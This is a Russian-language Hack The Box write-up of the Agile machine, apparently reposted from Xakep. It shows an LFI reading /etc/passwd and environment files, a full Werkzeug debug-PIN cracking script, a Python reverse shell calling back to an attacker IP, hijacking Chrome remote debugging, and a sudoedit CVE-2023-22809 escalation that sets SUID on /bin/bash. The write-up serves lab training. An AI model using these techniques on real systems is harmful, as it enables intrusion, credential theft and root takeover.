Хакер -HTB Agile. Ломаем PIN к веб-консоли Flask Werkzeug

Хакер -HTB Agile. Ломаем PIN к веб-консоли Flask Werkzeug

hacker_frei

https://t.me/hacker_frei

RalfHacker

Содержание статьи

  • Разведка
  • Сканирование портов
  • Точка входа
  • Точка опоры
  • LFI
  • Flask Werkzeug
  • Продвижение
  • Пользователь corum
  • Пользователь edwards
  • Локальное повышение привилегий

В этом рай­тапе я раз­беру ата­ку на веб‑кон­соль Flask Werkzeug, работу с уда­лен­ным отладчи­ком Chrome и покажу, как экс­плу­ати­ровать нашумев­шую уяз­вимость в sudoedit для чте­ния про­изволь­ных фай­лов в сис­теме.

По­может мне в этом тре­ниро­воч­ная машина Agile с пло­щад­ки Hack The Box. Уро­вень ее слож­ности — сред­ний.

WARNING

Под­клю­чать­ся к машинам с HTB рекомен­дует­ся толь­ко через VPN. Не делай это­го с компь­юте­ров, где есть важ­ные для тебя дан­ные, так как ты ока­жешь­ся в общей сети с дру­гими учас­тни­ками.

РАЗВЕДКА

Сканирование портов

До­бав­ляем IP-адрес машины в /etc/hosts:

10.10.11.203 agile.htb

И запус­каем ска­ниро­вание пор­тов.

Справка: сканирование портов

Ска­ниро­вание пор­тов — стан­дар­тный пер­вый шаг при любой ата­ке. Он поз­воля­ет ата­кующе­му узнать, какие служ­бы на хос­те при­нима­ют соеди­нение. На осно­ве этой информа­ции выбира­ется сле­дующий шаг к получе­нию точ­ки вхо­да.

На­ибо­лее извес­тный инс­тру­мент для ска­ниро­вания — это Nmap. Улуч­шить резуль­таты его работы ты можешь при помощи сле­дующе­го скрип­та:

#!/bin/bash

ports=$(nmap -p- --min-rate=500 $1 | grep ^[0-9] | cut -d '/' -f 1 | tr '\n' ',' | sed s/,$//)

nmap -p$ports -A $1

Он дей­ству­ет в два эта­па. На пер­вом про­изво­дит­ся обыч­ное быс­трое ска­ниро­вание, на вто­ром — более тща­тель­ное ска­ниро­вание, с исполь­зовани­ем име­ющих­ся скрип­тов (опция -A).

Ре­зуль­тат работы скрип­та

Ска­нер нашел все­го два откры­тых пор­та: 22 — служ­ба OpenSSH 8.9p1 и 80 — веб‑сер­вер Nginx 1.18.0. Как обыч­но в такой ситу­ации, сра­зу идем смот­реть веб.

Глав­ная стра­ница agile.htb

Нас встре­чает стар­товая стра­ница Nginx, а это зна­чит, что основной сайт рас­положен либо в дру­гом катало­ге, либо на дру­гом домене. Поп­робу­ем его най­ти, для это­го прос­каниру­ем катало­ги с помощью feroxbuster.

Справка: сканирование веба c feroxbuster

Од­но из пер­вых дей­ствий при тес­тирова­нии безопас­ности веб‑при­ложе­ния — это ска­ниро­вание методом перебо­ра катало­гов, что­бы най­ти скры­тую информа­цию и недос­тупные обыч­ным посети­телям фун­кции. Для это­го мож­но исполь­зовать прог­раммы вро­де dirsearchDIRB или ffuf. Я пред­почитаю feroxbuster.

При запус­ке ука­зыва­ем сле­дующие парамет­ры:

  • -u — URL;
  • -w — сло­варь (я исполь­зую сло­вари из набора SecLists);
  • -t — количес­тво потоков;
  • -d — глу­бина ска­ниро­вания.

feroxbuster -u http://10.10.11.203/ -w directory_2.3_medium_lowercase.txt -d 2 -t 256

Ре­зуль­тат ска­ниро­вания катало­гов

В резуль­тате ска­ниро­вания находим редирект на домен superpass.htb. Добав­ляем его в файл /etc/hosts и про­веря­ем.

10.10.11.203 agile.htb superpass.htb

Глав­ная стра­ница сай­та superpass.htb

ТОЧКА ВХОДА

На сай­те есть воз­можность зарегис­три­ровать­ся и авто­ризо­вать­ся. Сде­лаем это, что­бы рас­ширить область тес­тирова­ния.

Фор­ма авто­риза­ции

Те­перь нам дос­тупен онлай­новый сер­вис для хра­нения учет­ных дан­ных.

Стра­ница vault

Нам нуж­но про­тес­тировать мак­сималь­но воз­можное чис­ло фун­кций сер­виса. Соз­даем тес­товую запись и экспор­тиру­ем пароли.

Эк­спорт паролей

Файл ска­чива­ется авто­мати­чес­ки, прос­мотрим весь про­цесс в Burp History.

Burp History

Имя фай­ла для ска­чива­ния переда­ется в парамет­ре fn на стра­нице download. Сто­ит про­верить, мож­но ли выпол­нить обход катало­га и получить дру­гой про­изволь­ный файл.

Со­дер­жимое фай­ла /etc/passwd

По­луча­ем содер­жимое фай­ла /etc/passwd, а это зна­чит, что на сай­те есть уяз­вимость LFI.

ТОЧКА ОПОРЫ

LFI

Пер­вым делом, ког­да обна­ружи­ваем LFI, нуж­но про­верить все фай­лы, которые могут содер­жать инте­рес­ную информа­цию. На GitHub мож­но най­ти мно­го таких сло­варей, а переби­рать по ним будем с помощью Burp Intruder.

Burp Intruder — вклад­ка Payload positions

В резуль­тате ничего осо­бен­ного не наш­ли, толь­ко из фай­ла /etc/passwd узна­ем о наличии тес­товой вер­сии сай­та на домене test.superpass.htb, а так­же получим перемен­ные окру­жения про­цес­са из фай­ла /proc/self/environ.

Со­дер­жимое фай­ла /etc/hosts
Со­дер­жимое фай­ла /proc/self/environ

Пе­ремен­ные окру­жения рас­кры­ли нам поль­зовате­ля www-data, от име­ни которо­го работа­ет сер­вис. Инте­рес­на и перемен­ная CONFIG_PATH, где ука­зан файл нас­тро­ек /app/config_prod.json. Но при попыт­ке про­читать его получа­ем ошиб­ку Bad Request.

Зап­рос на заг­рузку фай­ла /app/config_prod.json

Иног­да при отоб­ражении оши­бок при­ложе­ние может рас­кры­вать пути к фай­лам, в которых про­изош­ла ошиб­ка. Поэто­му поп­робу­ем ска­чать несущес­тву­ющий файл /etc/qweqweqwe.txt.

Зап­рос на заг­рузку фай­ла /etc/qweqweqwe.txt

При­ложе­ние пре­дос­тавило боль­шой вывод, в котором и при­сутс­тву­ет путь к исполня­емо­му фай­лу сай­та:

/app/app/superpass/views/vault_views.py

Со­дер­жимое фай­ла vault_views.py

Мо­ей пер­вой иде­ей было получить SECRET_KEY от Flask, что­бы мож­но было вруч­ную генери­ровать иден­тифика­торы сес­сии дру­гих поль­зовате­лей и получать сох­ранен­ные пароли. Но в этом слу­чае сек­ретный ключ Flask не был явно задан.

Flask Werkzeug

При регис­тра­ции и авто­риза­ции мож­но добить­ся ошиб­ки Flask, что дает нам воз­можность зап­росить дебаг‑кон­соль Werkzeug. Но проб­лема в том, что она защище­на девятиз­начным PIN-кодом.

Стра­ница ошиб­ки Flask Werkzeug
Кон­соль Werkzeug

Тут нам и при­годит­ся уяз­вимость LFI, так как, имея дос­туп к некото­рым парамет­рам сис­темы, мож­но рас­счи­тать PIN с помощью скрип­та из статьи Бена Грю­эла. Часть парамет­ров у нас уже есть:

  • имя поль­зовате­ля, от име­ни которо­го работа­ет при­ложе­ние, — www-data;
  • наз­вание модуля — обыч­но flask.app или werkzeug.debug;
  • наз­вание при­ложе­ния — тоже берем из скрип­та wsgi_app, это DebuggedApplication или Flask;
  • путь к при­ложе­нию Flask — /app/venv/lib/python3.10/site-packages/flask/app.py.

Еще два необ­ходимых зна­чения — MAC-адрес и иден­тифика­тор сис­темы. Пер­вый параметр получа­ем из фай­ла /sys/class/net/eth0/address, а затем перево­дим в десяте­рич­ный фор­мат: 345052368982.

Со­дер­жимое фай­ла /sys/class/net/eth0/address
Пре­обра­зован­ное зна­чение

Вто­рой недос­тающий параметр получим, объ­еди­нив зна­чения из фай­лов /etc/machine-id и /proc/self/cgroup:

ed5b159560f54721827644bc9b220d00superpass.service

Со­дер­жимое фай­ла /etc/machine-id
Со­дер­жимое фай­ла /proc/self/cgroup

Те­перь исполь­зуем перечис­ленные зна­чения в сле­дующем скрип­те для получе­ния всех воз­можных вари­антов PIN-кода.

import hashlib

import itertools

from itertools import chain

def crack_md5(username, modname, appname, flaskapp_path, node_uuid, machine_id):

h = hashlib.md5()

crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack_sha1(username, modname, appname, flaskapp_path, node_uuid, machine_id):

h = hashlib.sha1()

crack(h, username, modname, appname, flaskapp_path, node_uuid, machine_id)

def crack(hasher, username, modname, appname, flaskapp_path, node_uuid, machine_id):

probably_public_bits = [

username,

modname,

appname,

flaskapp_path ]

private_bits = [

node_uuid,

machine_id ]

h = hasher

for bit in chain(probably_public_bits, private_bits):

if not bit:

continue

if isinstance(bit, str):

bit = bit.encode('utf-8')

h.update(bit)

h.update(b'cookiesalt')

cookie_name = '__wzd' + h.hexdigest()[:20]

num = None

if num is None:

h.update(b'pinsalt')

num = ('%09d' % int(h.hexdigest(), 16))[:9]

rv =None

if rv is None:

for group_size in 5, 4, 3:

if len(num) % group_size == 0:

rv = '-'.join(num[x:x + group_size].rjust(group_size, '0')

for x in range(0, len(num), group_size))

break

else:

rv = num

print(rv)

if __name__ == '__main__':

usernames = ['www-data']

modnames = ['flask.app', 'werkzeug.debug']

appnames = ['wsgi_app', 'DebuggedApplication', 'Flask']

flaskpaths = ['/app/venv/lib/python3.10/site-packages/flask/app.py']

nodeuuids = ['345052368982']

machineids = ['ed5b159560f54721827644bc9b220d00superpass.service']

combinations = itertools.product(usernames, modnames, appnames, flaskpaths, nodeuuids, machineids)

for combo in combinations:

username, modname, appname, flaskpath, nodeuuid, machineid = combo

print('=========')

crack_sha1(username, modname, appname, flaskpath, nodeuuid, machineid)

print(f'{combo}')

print('=========')

Ре­зуль­тат работы скрип­та

Пер­вый сге­нери­рован­ный PIN дает дос­туп к кон­соли Python 3, отку­да мы лег­ко получа­ем сис­темный шелл.

__import__('os').popen('id').read();

Кон­соль Werkzeug

Те­перь исполь­зуем сле­дующий реверс‑шелл Python 3, который пой­маем на лис­тенер pwncat -lp 4321.

import socket,subprocess,os

s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)

s.connect(("10.10.14.54",4321))

os.dup2(s.fileno(),0)

os.dup2(s.fileno(),1)

os.dup2(s.fileno(),2)

import pty

pty.spawn("sh")

Сес­сия поль­зовате­ля www-data

ПРОДВИЖЕНИЕ

Пользователь corum

На­ше при­ложе­ние исполь­зует базу дан­ных, а зна­чит, ско­рее все­го, и пароли тоже хра­нит в ней. Поп­робу­ем най­ти учет­ные дан­ные для под­клю­чения к БД.

По­иск подс­тро­ки MySQL в исходных кодах при­ложе­ния

В исходни­ках ничего най­ти не уда­лось, но это не проб­лема, так как у нас есть дос­туп к кон­соли отладчи­ка при­ложе­ния. Сна­чала най­дем глав­ный файл при­ложе­ния app.py в модуле wsgi_app.

Мо­дуль wsgi_app в отладчи­ке

От­кры­ваем кон­соль и получа­ем из кон­фига парамет­ры SECRET_KEY и SQL_URI. Вто­рой содер­жит учет­ные дан­ные для под­клю­чения к базе.

Па­рамет­ры SECRET_KEY и SQL_URI

Те­перь под­клю­чаем­ся к базе дан­ных и заходим в таб­лицу superpass.

mysql -h localhost -u superpassuser -p'dSA6l7q*yIVs$39Ml6ywvgK'

use superpass;

Под­клю­чение к базе дан­ных

И получа­ем таб­лицы из базы superpass.

show tables;

Таб­лицы в базе superpass

Нам инте­рес­на таб­лица passwords. Смот­рим, что в ней.

select * from passwords;

Дан­ные в таб­лице passwords

Стро­ки из стол­бца password непохо­жи на хеши, поэто­му поп­робу­ем исполь­зовать их как пароли и перебе­рем при авто­риза­ции по SSH от име­ни поль­зовате­ля corum.

Флаг поль­зовате­ля

Флаг поль­зовате­ля — у нас! 

Пользователь edwards

Что­бы повысить при­виле­гии, нуж­но пер­вым делом соб­рать информа­цию. Я, как обыч­но, при­бег­ну к скрип­там PEASS.

Справка: скрипты PEASS

Что делать пос­ле того, как мы получи­ли дос­туп в сис­тему от име­ни поль­зовате­ля? Вари­антов даль­нейшей экс­плу­ата­ции и повыше­ния при­виле­гий может быть очень мно­го, как в Linux, так и в Windows. Что­бы соб­рать информа­цию и наметить цели, мож­но исполь­зовать Privilege Escalation Awesome Scripts SUITE (PEASS) — набор скрип­тов, которые про­веря­ют сис­тему на авто­мате и выда­ют под­робный отчет о потен­циаль­но инте­рес­ных фай­лах, про­цес­сах и нас­трой­ках.

Смот­рим, что нашел скрипт, и отме­чаем для себя важ­ную информа­цию.

В спис­ке про­цес­сов — Google Chrome с акти­виро­ван­ной уда­лен­ной отладкой на пор­те 41829.

Де­рево про­цес­сов

Из спис­ка откры­тых пор­тов опре­деля­ем, что порт 41829 дос­тупен толь­ко для обра­щения с локаль­ного хос­та.

Спи­сок откры­тых пор­тов

Сре­ди пос­ледних модифи­циро­ван­ных фай­лов в сис­теме при­сутс­тву­ет какой‑то пакет поль­зователь­ских скрип­тов activate.

Пос­ледние модифи­циро­ван­ные фай­лы

Это дает нам век­тор ата­ки. Если у Google Chrome активна уда­лен­ная отладка, зна­чит, мож­но с помощью дру­гого бра­узе­ра Chrome под­клю­чить­ся к пор­ту отладчи­ка и получать все дос­тупные дан­ные. Это поз­волит как бы «под­смат­ривать» за поль­зовате­лем. Но пер­вым делом орга­низу­ем SSH-тун­нель так, что­бы весь тра­фик, который мы пош­лем на локаль­ный порт 41829, был тун­нелиро­ван на порт 41829 ука­зан­ного хос­та (в дан­ном слу­чае 127.0.0.1) через SSH.

ssh corum@10.10.11.203 -L 41829:127.0.0.1:41829 -N

Ког­да тун­нель готов, мож­но прис­тупать к нас­трой­ке бра­узе­ра. В стро­ке поис­ка перехо­дим на стра­ницу chrome://inspect и в гра­фе Discover network targets добав­ляем запись localhost:41829.

Нас­трой­ки для раз­работ­чиков Chrome
До­бав­ление хос­та

Ког­да поль­зователь зай­дет на любую стра­ницу, мы уви­дим информа­цию об этом. К при­меру, в дан­ном слу­чае поль­зователь зашел на стра­ницу http://test.superpass.htb.

Ин­форма­ция о под­клю­чени­ях

Вы­бира­ем inspect и получа­ем ту же стра­ницу, что отоб­ража­ется у поль­зовате­ля.

От­ладчик Google Chrome

Так мы получа­ем новые учет­ные дан­ные, с которы­ми мож­но авто­ризо­вать­ся в сис­теме от име­ни поль­зовате­ля edwards.

Сес­сия нового поль­зовате­ля

ЛОКАЛЬНОЕ ПОВЫШЕНИЕ ПРИВИЛЕГИЙ

Раз­ведку на хос­те уже про­води­ли, а со сме­ной кон­тек­ста работы в Linux мало что меня­ется. Но все же некото­рые вещи нуж­но про­верить заново. Одна из них — нас­трой­ки sudoers.

sudo -l

Нас­трой­ки sudoers

Справка: sudoers

Файл /etc/sudoers в Linux содер­жит спис­ки команд, которые раз­ные груп­пы поль­зовате­лей могут выпол­нять от име­ни адми­нис­тра­тора сис­темы. Мож­но прос­мотреть его как нап­рямую, так и при помощи коман­ды sudo -l.

Ви­дим, что наш поль­зователь может запус­тить коман­ды sudoedit /app/config_test.json и sudoedit /app/app-testing/tests/functional/creds.txt от име­ни поль­зовате­ля и груп­пы dev_admin. А чле­ны этой груп­пы могут записы­вать в недав­но обна­ружен­ный файл /app/venv/bin/activate, который пери­оди­чес­ки выпол­няет­ся в сис­теме от име­ни рута.

Пра­ва на файл /app/venv/bin/activate

В sudoedit есть извес­тная уяз­вимость CVE-2023-22809, под­робнее можешь про­читать о ней в отче­те Synacktiv (PDF). С помощью этой уяз­вимос­ти мы смо­жем выпол­нить коман­ду в кон­тек­сте sudo от име­ни поль­зовате­ля dev_admin. Это дает нам воз­можность дописать свой код в файл /app/venv/bin/activate, что­бы запус­тить что угод­но в при­виле­гиро­ван­ном кон­тек­сте. Выпол­ним коман­ду nano -- /app/venv/bin/activate:

export EDITOR="nano -- /app/venv/bin/activate"

sudo -u dev_admin sudoedit /app/config_test.json

Экс­плу­ата­ция уяз­вимос­ти sudoedit

Те­перь откры­ваем файл в nano и дописы­ваем код: chmod u+s /bin/bash. Он наз­начит S-бит фай­лу коман­дной обо­лоч­ки /bin/bash.

Ре­дак­тирова­ние фай­ла
Про­вер­ка успешной записи

Ждем некото­рое вре­мя, пери­оди­чес­ки про­веряя пра­ва на файл /bin/bash. Как толь­ко заметим выс­тавлен­ный S-бит, получа­ем при­виле­гиро­ван­ную сес­сию.

Пра­ва на файл /bin/bash

/bin/bash -p

Флаг рута

Ма­шина зах­вачена!

Читайте ещё больше платных статей бесплатно: https://t.me/hacker_frei



Report Page